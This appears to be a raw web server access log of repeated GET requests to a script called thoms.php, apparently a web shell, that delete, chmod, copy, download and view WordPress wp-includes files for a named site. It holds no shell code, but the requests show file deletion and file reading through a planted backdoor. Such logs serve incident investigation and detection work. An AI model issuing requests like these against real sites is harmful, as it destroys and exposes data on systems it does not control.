45.135.193.11 - - [11/Sep/2026:23:42:13 -0400] "GET /thoms.php?del=icons.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59200 "http://163.245.207.76:443/thoms.php?del=icons.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:13 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 200 12127 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:14 -0400] "GET /thoms.php?chmod=feed-rss.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:13 -0400] "GET /thoms.php?del=sitemaps.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:14 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:14 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fshortcodes.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fshortcodes.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 200 17561 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:14 -0400] "GET /thoms.php?dl=block-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:14 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11848 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fview-transitions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fview-transitions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:15 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:15 -0400] "GET /thoms.php?dl=robots-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59218 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:15 -0400] "GET /thoms.php?dl=shortcodes.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:15 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:16 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59178 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:16 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 200 61485 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:16 -0400] "GET /thoms.php?del=theme.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=theme.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:17 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:17 -0400] "GET /thoms.php?del=view-config.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:17 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:17 -0400] "GET /thoms.php?dl=default-widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 200 12419 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:18 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 200 14296 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:19 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 200 22471 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:19 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 200 13272 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-network.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-network.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 200 12410 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:19 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:19 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:19 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11848 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:22 -0400] "GET /thoms.php?chmod=feed-atom.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:22 -0400] "GET /thoms.php?dl=json-schema.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:24 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 200 33174 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:24 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 200 44438 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:24 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:24 -0400] "GET /thoms.php?chmod=load.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:25 -0400] "GET /thoms.php?chmod=template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:25 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:25 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:25 -0400] "GET /thoms.php?del=view-transitions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:25 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59230 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:26 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 200 22289 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:27 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:27 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frss.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frss.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:27 -0400] "GET /thoms.php?dl=rss-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59264 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:27 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:28 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11551 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:28 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:28 -0400] "GET /thoms.php?chmod=https-detection.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:28 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 58841 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:28 -0400] "GET /thoms.php?chmod=ms-network.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:28 -0400] "GET /thoms.php?del=rest-api.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:29 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 200 25556 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fscript-modules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fscript-modules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:29 -0400] "GET /thoms.php?del=json-schema.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:29 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
